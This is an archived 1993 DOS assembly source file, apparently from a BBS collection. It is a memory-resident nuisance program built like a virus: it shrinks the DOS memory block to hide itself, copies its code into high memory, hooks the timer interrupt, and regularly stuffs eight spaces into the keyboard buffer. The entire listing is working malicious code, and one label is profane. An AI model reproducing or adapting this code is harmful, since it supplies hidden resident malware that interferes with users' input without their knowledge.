home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / programming / asm_programming / TEST / SPACES.ASM < prev    next >
Encoding:
Assembly Source File  |  1993-02-06  |  2.7 KB  |  97 lines

  1.         .radix 16
  2.      code       segment
  3.         model  small
  4.         assume cs:code, ds:code, es:code
  5.  
  6.         org 100h
  7.  
  8. len             equ offset last - begin
  9. vir_len         equ len / 16d 
  10.         
  11. begin:
  12.         jmp     start
  13.         db      'ߥ.ÑîkådëMû$'
  14. start:  
  15.         mov     ax,cs                    ; reduce memory size     
  16.         dec     ax                           
  17.         mov     ds,ax                        
  18.         cmp     byte ptr ds:[0000],5a        
  19.         jne     abort                        
  20.         mov     ax,ds:[0003]                 
  21.         sub     ax,30                        
  22.         mov     ds:0003,ax
  23. Zopy_me:  
  24.         mov     bx,ax                    ; copy to claimed block  
  25.         mov     ax,es                        
  26.         add     ax,bx                       
  27.         mov     es,ax
  28.         mov     cx,len                   
  29.         mov     ax,ds                       
  30.         inc     ax
  31.         mov     ds,ax
  32.         lea     si,ds:[begin]            
  33.         lea     di,es:0100                  
  34.         rep     movsb                       
  35.                             
  36.         mov     [vir_seg],es        
  37.         mov     ax,cs                       
  38.         mov     es,ax
  39. Grab_1c:                                     
  40.         cli
  41.         mov     ax,351ch                   ; hook 1c
  42.         int     21h                     
  43.         mov     ds,[vir_seg]   
  44.         mov     ds:[old_1ch],bx
  45.         mov     ds:[old_1ch+2],es
  46.         mov     dx,offset spaces
  47.         mov     ax,251ch                
  48.         int     21h                     
  49.         sti                            
  50. abort:
  51.         int     20h
  52.                     
  53.  
  54. spaces:         
  55.         pushf                           ; call original 1c
  56.         call    dword ptr cs:[old_1ch]
  57.         push    ax                      ; save these
  58.         push    bx
  59.         push    cx
  60.         mov     cl, [counter]
  61.         inc     cx                      ; up counter
  62.         cmp     cx, 006ah               ; have 6ah clicks happened?      
  63.         jnz     bye
  64.         mov     cl, [flag]              ; are we already doing something?
  65.         cmp     cl, 01h
  66.         jz      bye 
  67.         mov     [flag], 01h             ; set the already doing flag
  68.         mov     bx, 0008h               ; number o spaces
  69. cunt:           mov     ah, 05h                 ; put characters in kbrd buffer
  70.         mov     cx, 4520h               ; attribs of space
  71.         int     16h                     ; do it
  72.         dec     bx
  73.         cmp     bx, 0000h               ; have we done all 8?
  74.         jne     cunt
  75.         mov     [flag], 00h             ; clear already doing flag
  76.         mov     [counter], 00h          ; clear counter
  77.         jmp     bye2
  78. bye:            
  79.         mov     [counter], cl           ; save new counter
  80. bye2:           
  81.         pop     cx                      ; restore stuff
  82.         pop     bx
  83.         pop     ax
  84.         iret
  85.  
  86. old_1ch         dw  00h,00h
  87. vir_seg         dw  ?
  88. counter         db  00h          
  89. flag            db  00h
  90.  
  91. last:           db  090h
  92. code            ends
  93.         end begin
  94.  
  95.  
  96.  
  97.